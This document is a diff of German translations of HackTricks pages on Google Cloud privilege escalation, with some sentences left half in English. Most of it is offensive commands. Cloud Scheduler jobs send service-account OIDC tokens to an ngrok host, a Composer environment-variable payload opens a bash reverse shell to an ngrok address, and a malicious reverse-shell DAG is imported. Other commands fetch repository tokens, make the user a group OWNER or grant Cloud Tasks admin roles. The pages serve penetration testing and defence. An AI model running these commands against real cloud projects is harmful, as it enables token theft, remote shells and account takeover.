Mit dieser Berechtigung kann der Benutzer den **read access token** erhalten, der zum Zugriff auf das Repository verwendet wird:
|
||||
|
||||
<details><summary>Read access token für das Repository abrufen</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
@@ -47,9 +57,13 @@ curl -X POST \
|
||||
-d '{}' \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudbuild.repositories.accessReadWriteToken`
|
||||
|
||||
Mit dieser Berechtigung kann der Benutzer das **Lese- und Schreibzugriffstoken** abrufen, das zum Zugriff auf das Repository verwendet wird:
|
||||
Mit dieser Berechtigung kann ein Benutzer das **Lese- und Schreibzugriffs-Token** abrufen, das zum Zugriff auf das Repository verwendet wird:
|
||||
|
||||
<details><summary>Lese- und Schreibzugriffs-Token für das Repository abrufen</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
@@ -57,12 +71,18 @@ curl -X POST \
|
||||
-d '{}' \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudbuild.connections.fetchLinkableRepositories`
|
||||
|
||||
Mit dieser Berechtigung können Sie **die Repos abrufen, auf die die Verbindung Zugriff hat:**
|
||||
Mit dieser Berechtigung kannst du **die Repositories abrufen, auf die die Connection Zugriff hat:**
|
||||
|
||||
<details><summary>Linkbare Repositories abrufen</summary>
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+29
-21
@@ -12,19 +12,21 @@ Mehr Informationen über Cloud Functions:
|
||||
|
||||
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
Ein Angreifer mit diesen Berechtigungen kann **eine neue Cloud-Funktion mit beliebigem (bösartigem) Code erstellen und ihr ein Dienstkonto zuweisen**. Dann kann er das Dienstkonto-Token aus den Metadaten leaken, um die Berechtigungen zu eskalieren.\
|
||||
Einige Berechtigungen zum Auslösen der Funktion könnten erforderlich sein.
|
||||
Ein Angreifer mit diesen Berechtigungen kann **eine neue Cloud Function mit beliebigem (bösartigem) Code erstellen und ihr ein Service Account zuweisen**. Dann, leak the Service Account token from the metadata to escalate privileges to it.\
|
||||
Es könnten zusätzliche Berechtigungen erforderlich sein, um die Function auszulösen.
|
||||
|
||||
Exploit-Skripte für diese Methode finden Sie [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) und [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) und die vorgefertigte .zip-Datei finden Sie [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
|
||||
|
||||
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
Ein Angreifer mit diesen Berechtigungen kann **den Code einer Funktion ändern und sogar das angehängte Dienstkonto ändern**, um das Token zu exfiltrieren.
|
||||
Ein Angreifer mit diesen Berechtigungen kann **den Code einer Function ändern und sogar das angehängte Service Account modifizieren** with the goal of exfiltrating the token.
|
||||
|
||||
> [!CAUTION]
|
||||
> Um Cloud-Funktionen bereitzustellen, benötigen Sie auch actAs-Berechtigungen über das Standard-Compute-Dienstkonto oder über das Dienstkonto, das zum Erstellen des Images verwendet wird.
|
||||
> Um Cloud Functions zu deployen benötigen Sie außerdem actAs-Berechtigungen für das default compute service account oder für das Service Account, das zum Erstellen des Images verwendet wird.
|
||||
|
||||
Einige zusätzliche Berechtigungen wie `.call`-Berechtigung für Version 1 cloudfunctions oder die Rolle `role/run.invoker`, um die Funktion auszulösen, könnten erforderlich sein.
|
||||
Es könnten zusätzliche Berechtigungen erforderlich sein, wie z.B. die `.call`-Permission für Version 1 cloudfunctions oder die Rolle `role/run.invoker`, um die Function auszulösen.
|
||||
|
||||
<details><summary>Update Cloud Function with malicious code to exfiltrate service account token</summary>
|
||||
```bash
|
||||
# Create new code
|
||||
temp_dir=$(mktemp -d)
|
||||
@@ -54,14 +56,18 @@ gcloud functions deploy <cloudfunction-name> \
|
||||
# Get SA token calling the new function code
|
||||
gcloud functions call <cloudfunction-name>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Wenn Sie den Fehler `Permission 'run.services.setIamPolicy' denied on resource...` erhalten, liegt das daran, dass Sie den Parameter `--allow-unauthenticated` verwenden und nicht über ausreichende Berechtigungen dafür verfügen.
|
||||
</details>
|
||||
|
||||
Das Exploit-Skript für diese Methode finden Sie [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
|
||||
> [!CAUTION]
|
||||
> Wenn Sie den Fehler `Permission 'run.services.setIamPolicy' denied on resource...` erhalten, liegt das daran, dass Sie den Parameter `--allow-unauthenticated` verwenden und nicht über ausreichend Berechtigungen dafür verfügen.
|
||||
|
||||
The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeSet`
|
||||
|
||||
Mit dieser Berechtigung können Sie eine **signierte URL erhalten, um eine Datei in einen Funktionsbucket hochzuladen (aber der Code der Funktion wird nicht geändert, Sie müssen ihn weiterhin aktualisieren)**.
|
||||
With this permission you can get a **signierte URL erhalten, um eine Datei in einen Function-Bucket hochzuladen (der Code der Funktion wird dadurch allerdings nicht geändert — Sie müssen ihn weiterhin aktualisieren)**
|
||||
|
||||
<details><summary>Signierte Upload-URL für Cloud Function erzeugen</summary>
|
||||
```bash
|
||||
# Generate the URL
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
|
||||
@@ -69,38 +75,40 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
Nicht ganz sicher, wie nützlich nur diese Berechtigung aus der Perspektive eines Angreifers ist, aber gut zu wissen.
|
||||
</details>
|
||||
|
||||
### `cloudfunctions.functions.setIamPolicy`, `iam.serviceAccounts.actAs`
|
||||
Nicht sicher, wie nützlich nur diese Berechtigung aus der Perspektive eines Angreifers ist, aber gut zu wissen.
|
||||
|
||||
Gib dir eine der vorherigen **`.update`** oder **`.create`** Berechtigungen, um zu eskalieren.
|
||||
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
|
||||
|
||||
Gib dir selbst eine der vorherigen **`.update`** oder **`.create`**-Privilegien, um zu eskalieren.
|
||||
|
||||
### `cloudfunctions.functions.update`
|
||||
|
||||
Wenn du nur **`cloudfunctions`** Berechtigungen hast, ohne **`iam.serviceAccounts.actAs`**, kannst du **die Funktion nicht aktualisieren, ALSO IST DAS KEINE GÜLTIGE PRIVESC.**
|
||||
Wenn du nur **`cloudfunctions`**-Berechtigungen hast, ohne **`iam.serviceAccounts.actAs`**, wirst du **die Funktion nicht aktualisieren können — DAS IST KEIN GÜLTIGER PRIVESC.**
|
||||
|
||||
### Lese- und Schreibzugriff auf den Bucket
|
||||
### Read & Write Access over the bucket
|
||||
|
||||
Wenn du Lese- und Schreibzugriff auf den Bucket hast, kannst du Änderungen im Code überwachen und wann immer ein **Update im Bucket erfolgt, kannst du den neuen Code mit deinem eigenen Code aktualisieren**, sodass die neue Version der Cloud-Funktion mit dem eingereichten Backdoor-Code ausgeführt wird.
|
||||
Wenn du Lese- und Schreibzugriff auf den Bucket hast, kannst du Änderungen im Code überwachen und immer wenn ein **Update im Bucket stattfindet, kannst du den neuen Code durch deinen eigenen ersetzen**, sodass die neue Version der Cloud Function mit dem eingeschleusten Backdoor-Code ausgeführt wird.
|
||||
|
||||
Du kannst mehr über den Angriff erfahren in:
|
||||
Du kannst mehr über den Angriff lesen in:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Allerdings kannst du dies nicht verwenden, um Drittanbieter-Cloud-Funktionen vorab zu kompromittieren, da du, wenn du den Bucket in deinem Konto erstellst und ihm öffentliche Berechtigungen gibst, damit das externe Projekt darauf schreiben kann, den folgenden Fehler erhältst:
|
||||
Allerdings kannst du dies nicht verwenden, um Cloud Functions Dritter vorab zu kompromittieren, denn wenn du den Bucket in deinem Account erstellst und ihn öffentlich berechtigst, damit das externe Projekt darauf schreiben kann, erhältst du den folgenden Fehler:
|
||||
|
||||
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> Dies könnte jedoch für DoS-Angriffe verwendet werden.
|
||||
> Dies könnte jedoch für DoS-Angriffe missbraucht werden.
|
||||
|
||||
### Lese- und Schreibzugriff auf das Artifact Registry
|
||||
### Read & Write Access over Artifact Registry
|
||||
|
||||
Wenn eine Cloud-Funktion erstellt wird, wird ein neues Docker-Image in das Artifact Registry des Projekts gepusht. Ich habe versucht, das Bild mit einem neuen zu modifizieren und sogar das aktuelle Bild (und das `cache` Bild) zu löschen, und es hat sich nichts geändert, die Cloud-Funktion funktioniert weiterhin. Daher könnte es **möglicherweise möglich sein, einen Race Condition-Angriff** wie mit dem Bucket auszunutzen, um den Docker-Container zu ändern, der ausgeführt wird, aber **einfach das gespeicherte Bild zu modifizieren, ist nicht möglich, um die Cloud-Funktion zu kompromittieren.**
|
||||
Wenn eine Cloud Function erstellt wird, wird ein neues docker image in die Artifact Registry des Projekts gepusht. Ich habe versucht, das Image durch ein neues zu ersetzen und sogar das aktuelle Image (und das `cache` image) zu löschen, aber es änderte sich nichts — die Cloud Function lief weiter. Daher könnte es vielleicht möglich sein, einen Race Condition-Angriff ähnlich wie beim Bucket zu missbrauchen, um den auszuführenden Docker-Container zu ändern, aber allein durch das Modifizieren des gespeicherten Images ist es nicht möglich, die Cloud Function zu kompromittieren.
|
||||
|
||||
## Referenzen
|
||||
## References
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
|
||||
+12
-4
@@ -4,22 +4,28 @@
|
||||
|
||||
## Cloudidentity
|
||||
|
||||
Für weitere Informationen über den Cloudidentity-Dienst, siehe diese Seite:
|
||||
Für weitere Informationen über den cloudidentity Service, siehe diese Seite:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Fügen Sie sich einer Gruppe hinzu
|
||||
### Sich selbst zu einer Gruppe hinzufügen
|
||||
|
||||
Wenn Ihr Benutzer über ausreichende Berechtigungen verfügt oder die Gruppe falsch konfiguriert ist, könnte er in der Lage sein, sich selbst als Mitglied einer neuen Gruppe hinzuzufügen:
|
||||
Wenn Ihr Benutzer über ausreichende Berechtigungen verfügt oder die Gruppe falsch konfiguriert ist, kann er sich selbst zum Mitglied einer neuen Gruppe machen:
|
||||
|
||||
<details><summary>Sich selbst zu einer Cloud Identity-Gruppe hinzufügen</summary>
|
||||
```bash
|
||||
gcloud identity groups memberships add --group-email <email> --member-email <email> [--roles OWNER]
|
||||
# If --roles isn't specified you will get MEMBER
|
||||
```
|
||||
</details>
|
||||
|
||||
### Gruppenmitgliedschaft ändern
|
||||
|
||||
Wenn Ihr Benutzer über ausreichende Berechtigungen verfügt oder die Gruppe falsch konfiguriert ist, könnte er sich selbst zum EIGENTÜMER einer Gruppe machen, deren Mitglied er ist:
|
||||
Wenn dein Benutzer genügend Berechtigungen hat oder die Gruppe falsch konfiguriert ist, könnte er sich selbst zum OWNER einer Gruppe machen, deren Mitglied er ist:
|
||||
|
||||
<details><summary>Gruppenmitgliedschaft ändern, um OWNER zu werden</summary>
|
||||
```bash
|
||||
# Check the current membership level
|
||||
gcloud identity groups memberships describe --member-email <email> --group-email <email>
|
||||
@@ -27,4 +33,6 @@ gcloud identity groups memberships describe --member-email <email> --group-email
|
||||
# If not OWNER try
|
||||
gcloud identity groups memberships modify-membership-roles --group-email <email> --member-email <email> --add-roles=OWNER
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+27
-11
@@ -4,41 +4,55 @@
|
||||
|
||||
## Cloud Scheduler
|
||||
|
||||
Mehr Informationen in:
|
||||
Weitere Informationen in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-scheduler-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `cloudscheduler.jobs.create`, `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
|
||||
Ein Angreifer mit diesen Berechtigungen könnte **Cloud Scheduler** ausnutzen, um **Cron-Jobs als ein bestimmtes Dienstkonto zu authentifizieren**. Durch das Erstellen einer HTTP POST-Anfrage plant der Angreifer Aktionen, wie das Erstellen eines Storage-Buckets, die unter der Identität des Dienstkontos ausgeführt werden. Diese Methode nutzt die **Fähigkeit des Schedulers, `*.googleapis.com` Endpunkte anzusprechen und Anfragen zu authentifizieren**, wodurch der Angreifer Google API-Endpunkte direkt mit einem einfachen `gcloud` Befehl manipulieren kann.
|
||||
Ein Angreifer mit diesen Berechtigungen könnte **Cloud Scheduler** ausnutzen, um **Cron-Jobs als ein bestimmtes Service Account zu authentifizieren**. Durch das Erstellen einer HTTP-POST-Anfrage plant der Angreifer Aktionen, wie z. B. das Erstellen eines Storage-Buckets, so dass sie unter der Identität des Service Account ausgeführt werden. Diese Methode nutzt die **Fähigkeit des Scheduler, `*.googleapis.com` Endpunkte anzusprechen und Anfragen zu authentifizieren**, wodurch der Angreifer Google-API-Endpunkte direkt mit einem einfachen `gcloud`-Befehl manipulieren kann.
|
||||
|
||||
- **Kontaktieren Sie jede Google API über `googleapis.com` mit OAuth-Token-Header**
|
||||
- **Kontaktiere jede Google-API über `googleapis.com` mit einem OAuth-Token-Header**
|
||||
|
||||
Einen neuen Storage-Bucket erstellen:
|
||||
Erstelle einen neuen Storage-Bucket:
|
||||
|
||||
<details><summary>Cloud Scheduler-Job erstellen, der einen GCS-Bucket via API anlegt</summary>
|
||||
```bash
|
||||
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
|
||||
```
|
||||
Um Privilegien zu eskalieren, **stellt ein Angreifer lediglich eine HTTP-Anfrage an die gewünschte API, indem er das angegebene Dienstkonto impersoniert**
|
||||
</details>
|
||||
|
||||
- **Exfiltriere OIDC-Dienstkontotoken**
|
||||
Um Privilegien zu eskalieren, fertigt ein **attacker** lediglich eine HTTP-Anfrage an, die die gewünschte API anspricht und das angegebene Service Account vortäuscht
|
||||
|
||||
- **Exfiltrate OIDC service account token**
|
||||
|
||||
<details><summary>Create Cloud Scheduler job to exfiltrate OIDC token</summary>
|
||||
```bash
|
||||
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
|
||||
|
||||
# Listen in the ngrok address to get the OIDC token in clear text.
|
||||
```
|
||||
Wenn Sie die HTTP-Antwort überprüfen müssen, können Sie einfach **einen Blick auf die Protokolle der Ausführung werfen**.
|
||||
</details>
|
||||
|
||||
### `cloudscheduler.jobs.update`, `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
Wenn du die HTTP-Antwort prüfen musst, kannst du dir einfach **die Logs der Ausführung ansehen**.
|
||||
|
||||
Wie im vorherigen Szenario ist es möglich, **einen bereits erstellten Scheduler zu aktualisieren**, um das Token zu stehlen oder Aktionen auszuführen. Zum Beispiel:
|
||||
### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
|
||||
Wie im vorherigen Szenario ist es möglich, **einen bereits erstellten Cloud Scheduler-Job zu aktualisieren**, um das Token zu stehlen oder Aktionen durchzuführen. Zum Beispiel:
|
||||
|
||||
<details><summary>Vorhandenen Cloud Scheduler-Job aktualisieren, um OIDC-Token zu exfiltrieren</summary>
|
||||
```bash
|
||||
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
|
||||
|
||||
# Listen in the ngrok address to get the OIDC token in clear text.
|
||||
```
|
||||
Ein weiteres Beispiel, um einen privaten Schlüssel zu einem SA hochzuladen und sich als dieser auszugeben:
|
||||
</details>
|
||||
|
||||
Ein weiteres Beispiel, wie man einen private key auf einen Service Account hochlädt und sich damit als dieser ausgibt:
|
||||
|
||||
<details><summary>Private key in einen Service Account via Cloud Scheduler hochladen und sich als dieser ausgeben</summary>
|
||||
```bash
|
||||
# Generate local private key
|
||||
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
|
||||
@@ -102,6 +116,8 @@ EOF
|
||||
# Activate the generated key
|
||||
gcloud auth activate-service-account --key-file=/tmp/lab.json
|
||||
```
|
||||
</details>
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
+17
-5
@@ -6,7 +6,9 @@
|
||||
|
||||
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Ein Angreifer mit diesen Berechtigungen kann **andere Dienstkonten impersonifizieren**, indem er Aufgaben erstellt, die mit der Identität des angegebenen Dienstkontos ausgeführt werden. Dies ermöglicht das Senden von **authentifizierten HTTP-Anfragen an IAM-geschützte Cloud Run oder Cloud Functions**-Dienste.
|
||||
An attacker mit diesen Berechtigungen kann sich als andere Dienstkonten ausgeben, indem er Tasks erstellt, die mit der Identität des angegebenen Dienstkontos ausgeführt werden. Dadurch können authentifizierte HTTP-Anfragen an IAM-geschützte Cloud Run- oder Cloud Functions-Dienste gesendet werden.
|
||||
|
||||
<details><summary>Cloud Task mit Service-Account-Impersonation erstellen</summary>
|
||||
```bash
|
||||
gcloud tasks create-http-task \
|
||||
task-$(date '+%Y%m%d%H%M%S') \
|
||||
@@ -18,17 +20,25 @@ task-$(date '+%Y%m%d%H%M%S') \
|
||||
--body-content '{"hello":"world"}' \
|
||||
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
|
||||
|
||||
Ein Angreifer mit diesen Berechtigungen kann **bestehende geplante Aufgaben ausführen**, ohne Berechtigungen für das mit der Aufgabe verbundene Dienstkonto zu haben. Dies ermöglicht die Ausführung von Aufgaben, die zuvor mit höher privilegierten Dienstkonten erstellt wurden.
|
||||
Ein Angreifer mit diesen Berechtigungen kann **vorhandene geplante Tasks ausführen** ohne Berechtigungen für das mit dem Task verknüpfte Service-Konto zu haben. Dadurch können Tasks ausgeführt werden, die zuvor mit höher privilegierten Service-Konten erstellt wurden.
|
||||
|
||||
<details><summary>Vorhandene Cloud Task ohne actAs permission ausführen</summary>
|
||||
```bash
|
||||
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
|
||||
```
|
||||
Der Hauptbenutzer, der diesen Befehl ausführt, **benötigt keine `iam.serviceAccounts.actAs`-Berechtigung** für das Dienstkonto der Aufgabe. Dies ermöglicht jedoch nur das Ausführen vorhandener Aufgaben - es gewährt nicht die Fähigkeit, Aufgaben zu erstellen oder zu ändern.
|
||||
</details>
|
||||
|
||||
Der Principal, der diesen Befehl ausführt, benötigt **nicht die Berechtigung `iam.serviceAccounts.actAs`** für das Servicekonto des Tasks. Dies erlaubt jedoch nur das Ausführen vorhandener Tasks — es gewährt nicht die Möglichkeit, Tasks zu erstellen oder zu ändern.
|
||||
|
||||
### `cloudtasks.queues.setIamPolicy`
|
||||
|
||||
Ein Angreifer mit dieser Berechtigung kann **sich selbst oder anderen Benutzern Cloud Tasks-Rollen** für bestimmte Warteschlangen gewähren, was potenziell zu `roles/cloudtasks.admin` führen kann, das die Fähigkeit umfasst, Aufgaben zu erstellen und auszuführen.
|
||||
Ein Angreifer mit dieser Berechtigung kann **sich selbst oder anderen Principals Cloud Tasks-Rollen** auf bestimmten Queues gewähren, womit er möglicherweise auf `roles/cloudtasks.admin` eskalieren kann, was die Fähigkeit einschließt, Tasks zu erstellen und auszuführen.
|
||||
|
||||
<details><summary>Cloud Tasks admin role auf Queue gewähren</summary>
|
||||
```bash
|
||||
gcloud tasks queues add-iam-policy-binding \
|
||||
<queue_name> \
|
||||
@@ -36,7 +46,9 @@ gcloud tasks queues add-iam-policy-binding \
|
||||
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
|
||||
--role roles/cloudtasks.admin
|
||||
```
|
||||
Dies ermöglicht es dem Angreifer, vollständige Cloud Tasks-Administratorberechtigungen für die Warteschlange an jedes Dienstkonto zu gewähren, das er kontrolliert.
|
||||
</details>
|
||||
|
||||
Dies ermöglicht dem Angreifer, beliebigen Service Accounts, die er kontrolliert, vollständige Cloud Tasks-Admin-Berechtigungen für die Queue zu gewähren.
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
||||
+37
-17
@@ -4,7 +4,7 @@
|
||||
|
||||
## composer
|
||||
|
||||
Weitere Informationen in:
|
||||
Mehr Informationen in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-composer-enum.md
|
||||
@@ -12,18 +12,24 @@ Weitere Informationen in:
|
||||
|
||||
### `composer.environments.create`
|
||||
|
||||
Es ist möglich, **jedes Dienstkonto** an die neu erstellte Composer-Umgebung mit dieser Berechtigung anzuhängen. Später könnten Sie Code innerhalb von Composer ausführen, um das Dienstkonto-Token zu stehlen.
|
||||
Mit dieser Berechtigung ist es möglich, dem neu erstellten composer environment **attach any service account** zuzuweisen. Später könntest du execute code inside composer, um das service account token zu stehlen.
|
||||
|
||||
<details><summary>Create Composer environment with attached service account</summary>
|
||||
```bash
|
||||
gcloud composer environments create privesc-test \
|
||||
--project "${PROJECT_ID}" \
|
||||
--location europe-west1 \
|
||||
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"
|
||||
```
|
||||
Mehr Informationen über die Ausnutzung [**hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).
|
||||
</details>
|
||||
|
||||
Weitere Informationen zur exploitation [**here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).
|
||||
|
||||
### `composer.environments.update`
|
||||
|
||||
Es ist möglich, die Composer-Umgebung zu aktualisieren, zum Beispiel, indem Umgebungsvariablen geändert werden:
|
||||
Es ist möglich, die composer environment zu aktualisieren, zum Beispiel durch Ändern von env variables:
|
||||
|
||||
<details><summary>Update Composer environment variables for code execution</summary>
|
||||
```bash
|
||||
# Even if it says you don't have enough permissions the update happens
|
||||
gcloud composer environments update \
|
||||
@@ -46,24 +52,36 @@ X-Allowed-Locations: 0x0
|
||||
|
||||
{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}
|
||||
```
|
||||
TODO: RCE erhalten, indem neue pypi-Pakete zur Umgebung hinzugefügt werden
|
||||
</details>
|
||||
|
||||
### Dags herunterladen
|
||||
TODO: RCE erlangen, indem neue pypi-Pakete zur Umgebung hinzugefügt werden
|
||||
|
||||
Überprüfen Sie den Quellcode der ausgeführten Dags:
|
||||
### DAGs herunterladen
|
||||
|
||||
Überprüfe den Quellcode der ausgeführten DAGs:
|
||||
|
||||
<details><summary>DAGs aus der Composer-Umgebung exportieren und herunterladen</summary>
|
||||
```bash
|
||||
mkdir /tmp/dags
|
||||
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
|
||||
```
|
||||
### Import Dags
|
||||
</details>
|
||||
|
||||
Fügen Sie den Python-DAG-Code in eine Datei ein und importieren Sie ihn, indem Sie Folgendes ausführen:
|
||||
### Dags importieren
|
||||
|
||||
Füge den python DAG-Code in eine Datei ein und importiere ihn, indem du Folgendes ausführst:
|
||||
|
||||
<details><summary>Import malicious DAG into Composer environment</summary>
|
||||
```bash
|
||||
# TODO: Create dag to get a rev shell
|
||||
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
|
||||
```
|
||||
Reverse-Shell-DAG:
|
||||
```python:reverse_shell.py
|
||||
</details>
|
||||
|
||||
Reverse shell DAG:
|
||||
|
||||
<details><summary>Python DAG code for reverse shell</summary>
|
||||
```python
|
||||
import airflow
|
||||
from airflow import DAG
|
||||
from airflow.operators.bash_operator import BashOperator
|
||||
@@ -94,22 +112,24 @@ depends_on_past=False,
|
||||
priority_weight=2**31 - 1,
|
||||
do_xcom_push=False)
|
||||
```
|
||||
</details>
|
||||
|
||||
### Schreibzugriff auf den Composer-Bucket
|
||||
|
||||
Alle Komponenten einer Composer-Umgebung (DAGs, Plugins und Daten) werden in einem GCP-Bucket gespeichert. Wenn der Angreifer Lese- und Schreibberechtigungen dafür hat, könnte er den Bucket überwachen und **wann immer ein DAG erstellt oder aktualisiert wird, eine mit einem Backdoor-Version einreichen**, sodass die Composer-Umgebung die Backdoor-Version aus dem Speicher abruft.
|
||||
Alle Komponenten einer composer-Umgebung (DAGs, plugins und data) werden in einem GCP-Bucket gespeichert. Hat ein Angreifer Lese- und Schreibberechtigungen darauf, kann er den Bucket überwachen und **jedes Mal, wenn eine DAG erstellt oder aktualisiert wird, eine kompromittierte Version hochladen**, sodass die composer-Umgebung beim Laden aus dem Storage die kompromittierte Version erhält.
|
||||
|
||||
Erfahren Sie mehr über diesen Angriff in:
|
||||
Mehr Informationen zu diesem Angriff in:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Plugins importieren
|
||||
### Import Plugins
|
||||
|
||||
TODO: Überprüfen, was durch das Hochladen von Plugins kompromittiert werden kann
|
||||
TODO: Prüfen, was durch das Hochladen von plugins kompromittiert werden kann
|
||||
|
||||
### Daten importieren
|
||||
### Import Data
|
||||
|
||||
TODO: Überprüfen, was durch das Hochladen von Daten kompromittiert werden kann
|
||||
TODO: Prüfen, was durch das Hochladen von data kompromittiert werden kann
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+24
-16
@@ -6,16 +6,22 @@
|
||||
|
||||
### `container.clusters.get`
|
||||
|
||||
Diese Berechtigung ermöglicht es, **Anmeldeinformationen für den Kubernetes-Cluster zu sammeln** mit etwas wie:
|
||||
Diese Berechtigung erlaubt es, **Zugangsdaten für den Kubernetes-Cluster zu sammeln**, z. B. mit:
|
||||
|
||||
<details><summary>Kubernetes-Cluster-Zugangsdaten abrufen</summary>
|
||||
```bash
|
||||
gcloud container clusters get-credentials <cluster_name> --zone <zone>
|
||||
```
|
||||
Ohne zusätzliche Berechtigungen sind die Anmeldeinformationen ziemlich grundlegend, da Sie **einige Ressourcen auflisten können**, aber sie sind nützlich, um Fehlkonfigurationen in der Umgebung zu finden.
|
||||
</details>
|
||||
|
||||
Ohne zusätzliche Berechtigungen sind die credentials ziemlich eingeschränkt, da du **nur einige Ressourcen auflisten kannst**, aber sie sind nützlich, um Fehlkonfigurationen in der Umgebung zu finden.
|
||||
|
||||
> [!NOTE]
|
||||
> Beachten Sie, dass **Kubernetes-Cluster möglicherweise so konfiguriert sind, dass sie privat sind**, was den Zugriff auf den Kube-API-Server aus dem Internet verbietet.
|
||||
> Beachte, dass **kubernetes clusters möglicherweise als privat konfiguriert sind**, wodurch der Zugriff auf den Kube-API server aus dem Internet verhindert wird.
|
||||
|
||||
Wenn Sie diese Berechtigung nicht haben, können Sie dennoch auf den Cluster zugreifen, müssen jedoch **Ihre eigene kubectl-Konfigurationsdatei** mit den Clusterinformationen erstellen. Eine neu generierte sieht so aus:
|
||||
Wenn du diese Berechtigung nicht hast, kannst du trotzdem auf den Cluster zugreifen, musst jedoch **deine eigene kubectl config file** mit den Cluster-Infos erstellen. Eine neu generierte sieht so aus:
|
||||
|
||||
<details><summary>Beispiel kubectl config file für GKE cluster</summary>
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
clusters:
|
||||
